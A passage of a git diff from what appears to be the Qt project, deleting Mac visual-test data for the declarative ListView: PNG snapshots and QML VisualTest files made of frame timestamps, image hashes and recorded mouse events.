"4f3a902addc34ecdaf390e2427cc52e7" - } - Frame { - msec: 5792 - hash: "68d443f16c16821ffc9ca68b17c76034" - } - Frame { - msec: 5808 - hash: "9d25adc77befa761ee376a9b43595b5e" - } - Frame { - msec: 5824 - hash: "a68b1bc6c2963ee92c3a45f500667b3b" - } - Frame { - msec: 5840 - hash: "d5268cd58c222451d48038e715e83802" - } - Frame { - msec: 5856 - hash: "f37d461541a8ec7a4161b18748de6aea" - } - Frame { - msec: 5872 - hash: "805319ac7ca842feb3649e92f8b5b72f" - } - Frame { - msec: 5888 - hash: "73124472a05080891d4948d8ca273f8c" - } - Frame { - msec: 5904 - hash: "b6e433a23282a50db2e165a2447ba3f6" - } - Frame { - msec: 5920 - hash: "fd8d3f5688b1806998c6087e18c6c730" - } - Frame { - msec: 5936 - hash: "f132dd459950ef2d18aa93ca950d0692" - } - Frame { - msec: 5952 - hash: "ade5beb259b5277c333ca806fc9bdbec" - } - Frame { - msec: 5968 - hash: "ade5beb259b5277c333ca806fc9bdbec" - } - Frame { - msec: 5984 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6000 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6016 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6032 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6048 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6064 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6080 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6096 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6112 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6128 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6144 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6160 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6176 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6192 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6208 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6224 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6240 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6256 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6272 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6288 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6304 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6320 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6336 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6352 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6368 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6384 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6400 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6416 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6432 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6448 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6464 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6480 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6496 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6512 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6528 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6544 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6560 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6576 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6592 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6608 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6624 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6640 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6656 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6672 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6688 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6704 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6720 - image: "itemlist.6.png" - } - Frame { - msec: 6736 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6752 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6768 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6784 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6800 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6816 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6832 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6848 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6864 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6880 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6896 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6912 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6928 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6944 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6960 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6976 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 6992 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 7008 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 7024 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 7040 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 7056 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 7072 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 7088 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 7104 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 7120 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 7136 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 7152 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 7168 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 7184 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 7200 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 7216 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 7232 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 7248 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 7264 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 7280 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 7296 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 7312 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } -} diff --git a/tests/auto/declarative/visual/ListView/data-MAC/listview.0.png b/tests/auto/declarative/visual/ListView/data-MAC/listview.0.png deleted file mode 100644 index a1ab987..0000000 Binary files a/tests/auto/declarative/visual/ListView/data-MAC/listview.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data-MAC/listview.1.png b/tests/auto/declarative/visual/ListView/data-MAC/listview.1.png deleted file mode 100644 index a1ab987..0000000 Binary files a/tests/auto/declarative/visual/ListView/data-MAC/listview.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data-MAC/listview.10.png b/tests/auto/declarative/visual/ListView/data-MAC/listview.10.png deleted file mode 100644 index dcfca3f..0000000 Binary files a/tests/auto/declarative/visual/ListView/data-MAC/listview.10.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data-MAC/listview.11.png b/tests/auto/declarative/visual/ListView/data-MAC/listview.11.png deleted file mode 100644 index 7cc4047..0000000 Binary files a/tests/auto/declarative/visual/ListView/data-MAC/listview.11.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data-MAC/listview.12.png b/tests/auto/declarative/visual/ListView/data-MAC/listview.12.png deleted file mode 100644 index a97f4ad..0000000 Binary files a/tests/auto/declarative/visual/ListView/data-MAC/listview.12.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data-MAC/listview.13.png b/tests/auto/declarative/visual/ListView/data-MAC/listview.13.png deleted file mode 100644 index 7a8c6bd..0000000 Binary files a/tests/auto/declarative/visual/ListView/data-MAC/listview.13.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data-MAC/listview.14.png b/tests/auto/declarative/visual/ListView/data-MAC/listview.14.png deleted file mode 100644 index ae47356..0000000 Binary files a/tests/auto/declarative/visual/ListView/data-MAC/listview.14.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data-MAC/listview.15.png b/tests/auto/declarative/visual/ListView/data-MAC/listview.15.png deleted file mode 100644 index b3a7260..0000000 Binary files a/tests/auto/declarative/visual/ListView/data-MAC/listview.15.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data-MAC/listview.16.png b/tests/auto/declarative/visual/ListView/data-MAC/listview.16.png deleted file mode 100644 index 581e824..0000000 Binary files a/tests/auto/declarative/visual/ListView/data-MAC/listview.16.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data-MAC/listview.17.png b/tests/auto/declarative/visual/ListView/data-MAC/listview.17.png deleted file mode 100644 index 581e824..0000000 Binary files a/tests/auto/declarative/visual/ListView/data-MAC/listview.17.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data-MAC/listview.18.png b/tests/auto/declarative/visual/ListView/data-MAC/listview.18.png deleted file mode 100644 index 581e824..0000000 Binary files a/tests/auto/declarative/visual/ListView/data-MAC/listview.18.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data-MAC/listview.19.png b/tests/auto/declarative/visual/ListView/data-MAC/listview.19.png deleted file mode 100644 index 581e824..0000000 Binary files a/tests/auto/declarative/visual/ListView/data-MAC/listview.19.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data-MAC/listview.2.png b/tests/auto/declarative/visual/ListView/data-MAC/listview.2.png deleted file mode 100644 index 9877b92..0000000 Binary files a/tests/auto/declarative/visual/ListView/data-MAC/listview.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data-MAC/listview.3.png b/tests/auto/declarative/visual/ListView/data-MAC/listview.3.png deleted file mode 100644 index 603bd24..0000000 Binary files a/tests/auto/declarative/visual/ListView/data-MAC/listview.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data-MAC/listview.4.png b/tests/auto/declarative/visual/ListView/data-MAC/listview.4.png deleted file mode 100644 index 5fdfbb8..0000000 Binary files a/tests/auto/declarative/visual/ListView/data-MAC/listview.4.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data-MAC/listview.5.png b/tests/auto/declarative/visual/ListView/data-MAC/listview.5.png deleted file mode 100644 index a1ab987..0000000 Binary files a/tests/auto/declarative/visual/ListView/data-MAC/listview.5.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data-MAC/listview.6.png b/tests/auto/declarative/visual/ListView/data-MAC/listview.6.png deleted file mode 100644 index 9ccf9b0..0000000 Binary files a/tests/auto/declarative/visual/ListView/data-MAC/listview.6.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data-MAC/listview.7.png b/tests/auto/declarative/visual/ListView/data-MAC/listview.7.png deleted file mode 100644 index 6b40e1b..0000000 Binary files a/tests/auto/declarative/visual/ListView/data-MAC/listview.7.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data-MAC/listview.8.png b/tests/auto/declarative/visual/ListView/data-MAC/listview.8.png deleted file mode 100644 index 2fda36d..0000000 Binary files a/tests/auto/declarative/visual/ListView/data-MAC/listview.8.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data-MAC/listview.9.png b/tests/auto/declarative/visual/ListView/data-MAC/listview.9.png deleted file mode 100644 index 581e824..0000000 Binary files a/tests/auto/declarative/visual/ListView/data-MAC/listview.9.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data-MAC/listview.qml b/tests/auto/declarative/visual/ListView/data-MAC/listview.qml deleted file mode 100644 index 3765668..0000000 --- a/tests/auto/declarative/visual/ListView/data-MAC/listview.qml +++ /dev/null @@ -1,3079 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 32 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 48 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 64 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 80 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 96 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 112 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 128 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 144 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 160 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 176 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 192 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 208 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 224 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 240 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 256 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 272 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 288 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 304 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 320 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 336 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 352 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 368 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 384 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 400 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 416 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 432 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 448 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 464 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 480 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 496 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 512 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 528 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 544 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 560 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 576 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 592 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 608 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 624 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 640 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 656 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 672 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 688 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 704 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 720 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 736 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 752 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 768 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 784 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 800 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 816 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 832 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 848 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 864 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 880 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 896 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 912 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 928 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 944 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 960 - image: "listview.0.png" - } - Frame { - msec: 976 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 992 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1008 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1024 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1040 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1056 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1072 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1088 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1104 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1120 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1136 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1152 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1168 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1184 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1200 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1216 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1232 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1248 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1264 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1280 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1296 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1312 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1328 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1344 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1360 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1376 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1392 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1408 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1424 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1440 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1456 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1472 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1488 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1504 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1520 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1536 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1552 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1568 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1584 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1600 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1616 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1632 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1648 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1664 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1680 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1696 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1712 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1728 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1744 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1760 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1776 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1792 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1808 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1824 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1840 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1856 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1872 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1888 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1904 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1920 - image: "listview.1.png" - } - Frame { - msec: 1936 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1952 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1968 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1984 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2000 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2016 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2032 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2048 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2064 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2080 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2096 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2112 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2128 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2144 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2160 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2176 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2192 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2208 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2224 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2240 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2256 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2272 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2288 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2304 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2320 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2336 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2352 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2368 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2384 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2400 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2416 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2432 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2448 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2464 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2480 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2496 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2512 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2528 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2544 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2560 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2576 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2592 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 553; y: 267 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2608 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2624 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 554; y: 267 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 555; y: 266 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2640 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 556; y: 265 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 558; y: 260 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2656 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 560; y: 256 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2672 - hash: "c315e184c4dcb11d7e9fd4509a8b6a1f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 562; y: 250 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 566; y: 234 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2688 - hash: "aeef1cacca9518408519b670443e396f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 568; y: 216 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2704 - hash: "621626927f83bf7b36b78f5ca7ed4ed0" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 572; y: 192 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 572; y: 192 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2720 - hash: "b2aca965b745e98365195c52b9dd9a2c" - } - Frame { - msec: 2736 - hash: "4cc8c162afcc45c79afd8230893d4ddd" - } - Frame { - msec: 2752 - hash: "b9c0815086393878ad00566db7a3c577" - } - Frame { - msec: 2768 - hash: "23cbc15fce97f966c24e3ec626e01960" - } - Frame { - msec: 2784 - hash: "3a7ce897b47ba39e63be31a020de6f3d" - } - Frame { - msec: 2800 - hash: "2a8a32cd27fad2c57c9eb518c7b3b3ca" - } - Frame { - msec: 2816 - hash: "96d676ad58119430b440a5f0a2215f26" - } - Frame { - msec: 2832 - hash: "5f9cd251615ee6a98470a7b6098f7890" - } - Frame { - msec: 2848 - hash: "c9b1c073cbfbf1c353685b3f38baa675" - } - Frame { - msec: 2864 - hash: "cf5bfbfe8904ea40b796d2b33d5cc363" - } - Frame { - msec: 2880 - image: "listview.2.png" - } - Frame { - msec: 2896 - hash: "c75c3342b476f75fc0c5f56a374da13e" - } - Frame { - msec: 2912 - hash: "0dfcd15d21b7e949b56bc69d881c52f5" - } - Frame { - msec: 2928 - hash: "73b7352bb11d29cbf64b6b594e761e42" - } - Frame { - msec: 2944 - hash: "876361c2fc18c2236c1dffd36f517f44" - } - 